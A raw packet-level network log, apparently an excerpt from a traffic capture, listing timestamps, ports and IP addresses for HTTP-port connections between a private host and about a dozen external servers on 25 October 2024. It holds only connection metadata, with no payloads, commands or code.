Oct 25, 2024 11:18:12.329951048 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329962969 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.329963923 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329976082 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.329983950 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.329988956 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.330014944 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.330048084 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.332820892 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.332879066 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.332890987 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.332900047 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.332928896 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.332961082 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.333056927 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333074093 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333085060 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333096981 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333122015 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.333122015 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.333129883 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333141088 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333147049 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.333152056 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333161116 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.333163023 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333174944 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333179951 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.333185911 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333198071 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333204985 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.333204985 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.333219051 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333224058 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.333230019 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333240032 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333247900 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.333250999 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333261967 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333273888 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333276987 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.333287001 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.333300114 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.333331108 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.334057093 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.334105015 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.336725950 CEST	52910	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:18:12.337013960 CEST	52895	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:18:12.340954065 CEST	52891	80	192.168.2.5	104.26.3.124
Oct 25, 2024 11:18:12.341139078 CEST	52900	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:18:12.341449022 CEST	52915	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:12.342061996 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.342092991 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.342118025 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.342130899 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.342135906 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.342170000 CEST	80	52910	96.127.180.42	192.168.2.5
Oct 25, 2024 11:18:12.342225075 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.342267036 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.342428923 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.342451096 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.342463017 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.342472076 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.342474937 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.342488050 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.342499971 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.342502117 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.342513084 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.342524052 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.342524052 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.342535973 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.342545986 CEST	80	52895	202.254.236.40	192.168.2.5
Oct 25, 2024 11:18:12.342552900 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.342573881 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.343106031 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.343180895 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.343198061 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.343205929 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.343210936 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.343224049 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.343225002 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.343245029 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.343267918 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.343633890 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.343646049 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.343657017 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.343681097 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.343707085 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.343717098 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.343729019 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.343739033 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.343763113 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.343784094 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.344590902 CEST	52916	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:12.347446918 CEST	80	52891	104.26.3.124	192.168.2.5
Oct 25, 2024 11:18:12.347584009 CEST	80	52900	5.189.128.121	192.168.2.5
Oct 25, 2024 11:18:12.347594976 CEST	80	52915	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:12.347649097 CEST	52915	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:12.348170042 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.348181009 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.348197937 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.348210096 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.348408937 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.348438978 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.348452091 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.348457098 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.348464012 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.348469019 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.349040031 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.349078894 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.349096060 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.349107027 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.349116087 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.349128008 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.349131107 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.349139929 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.349152088 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.349153042 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.349163055 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.349174976 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.349184036 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.349210024 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.349375963 CEST	52915	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:12.349931955 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.349942923 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.349953890 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.350049973 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.350079060 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.351103067 CEST	80	52916	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:12.351192951 CEST	52916	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:12.355546951 CEST	80	52915	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:12.368990898 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.369002104 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.369028091 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.369048119 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.369079113 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.369091988 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.369092941 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.369128942 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.369152069 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.369163036 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.369183064 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.369184971 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.369194984 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.369206905 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.369214058 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.369232893 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.369257927 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.372735023 CEST	52916	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:18:12.372831106 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.372848034 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.372863054 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.372874975 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.372886896 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.372991085 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.372992039 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.374586105 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.374650955 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.374653101 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.374689102 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.378268957 CEST	80	52916	3.94.41.167	192.168.2.5
Oct 25, 2024 11:18:12.381961107 CEST	80	52798	70.39.251.249	192.168.2.5
Oct 25, 2024 11:18:12.382019997 CEST	52798	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:12.384875059 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.384932995 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.384960890 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.384987116 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.384995937 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.385008097 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.385046959 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.437114000 CEST	80	52907	5.189.128.121	192.168.2.5
Oct 25, 2024 11:18:12.437982082 CEST	52907	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:18:12.444188118 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444242001 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444266081 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444279909 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444307089 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444318056 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444329023 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444341898 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444353104 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444370985 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444376945 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444418907 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444448948 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444458008 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444473982 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444483995 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444500923 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444514990 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444516897 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444525957 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444540024 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444545984 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444546938 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444567919 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444586039 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444587946 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444600105 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444633961 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444637060 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444648981 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444654942 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444684029 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444705009 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444711924 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444753885 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444778919 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444789886 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444806099 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444818974 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444819927 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444848061 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444848061 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444854021 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444871902 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444889069 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444911003 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444924116 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444935083 CEST	80	52898	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.444951057 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444983006 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.444983959 CEST	52898	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.446130037 CEST	52616	80	192.168.2.5	217.19.237.54
Oct 25, 2024 11:18:12.446449041 CEST	52917	80	192.168.2.5	217.19.237.54
Oct 25, 2024 11:18:12.448071957 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:12.448898077 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:12.451504946 CEST	80	52616	217.19.237.54	192.168.2.5
Oct 25, 2024 11:18:12.451936007 CEST	80	52917	217.19.237.54	192.168.2.5
Oct 25, 2024 11:18:12.452009916 CEST	52917	80	192.168.2.5	217.19.237.54
Oct 25, 2024 11:18:12.452511072 CEST	80	52878	81.2.194.241	192.168.2.5
Oct 25, 2024 11:18:12.452595949 CEST	52878	80	192.168.2.5	81.2.194.241
Oct 25, 2024 11:18:12.453600883 CEST	80	52612	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:12.454123020 CEST	52612	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:12.454293013 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:12.454350948 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:12.459372997 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.459384918 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.459395885 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.459453106 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.459465027 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.459475994 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.459501028 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.459521055 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.459582090 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.459594965 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.459613085 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.459621906 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.459635019 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.459656000 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.459728003 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.459765911 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.459777117 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.459800005 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.459803104 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.459815979 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.459827900 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.459855080 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.460089922 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.460158110 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.460170031 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.460181952 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.460192919 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.460207939 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.460217953 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.460227013 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.460242987 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.460268974 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.460596085 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.460613966 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.460630894 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.460638046 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.460649967 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.460660934 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.460670948 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.460684061 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.460686922 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.460709095 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.460731983 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.460894108 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.460932970 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.460993052 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.461007118 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.461030006 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.461031914 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.461045027 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.461045027 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.461056948 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.461070061 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.461081028 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.461083889 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.461097002 CEST	80	52897	104.21.66.46	192.168.2.5
Oct 25, 2024 11:18:12.461111069 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.461127996 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.461153984 CEST	52897	80	192.168.2.5	104.21.66.46
Oct 25, 2024 11:18:12.463646889 CEST	52917	80	192.168.2.5	217.19.237.54
Oct 25, 2024 11:18:12.464178085 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:12.464178085 CEST	52918	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:12.465509892 CEST	52907	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:18:12.469028950 CEST	80	52917	217.19.237.54	192.168.2.5
Oct 25, 2024 11:18:12.469502926 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:12.469585896 CEST	80	52918	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:12.470820904 CEST	80	52907	5.189.128.121	192.168.2.5
Oct 25, 2024 11:18:12.484003067 CEST	80	52910	96.127.180.42	192.168.2.5
Oct 25, 2024 11:18:12.484067917 CEST	52910	80	192.168.2.5	96.127.180.42
Oct 25, 2024 11:18:12.486908913 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.486957073 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.486969948 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.486980915 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.487090111 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.487134933 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.487255096 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.487281084 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.487293005 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.487294912 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.487325907 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.487337112 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.487366915 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.487379074 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.487406015 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.487418890 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.488259077 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.488329887 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.488341093 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.488353014 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.488359928 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.488364935 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.488388062 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.488467932 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.489238977 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.489296913 CEST	52906	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:18:12.489336967 CEST	80	52906	108.167.164.216	192.168.2.5
Oct 25, 2024 11:18:12.489348888 CEST	80	52906	108.167.164.216	192.168.2.5
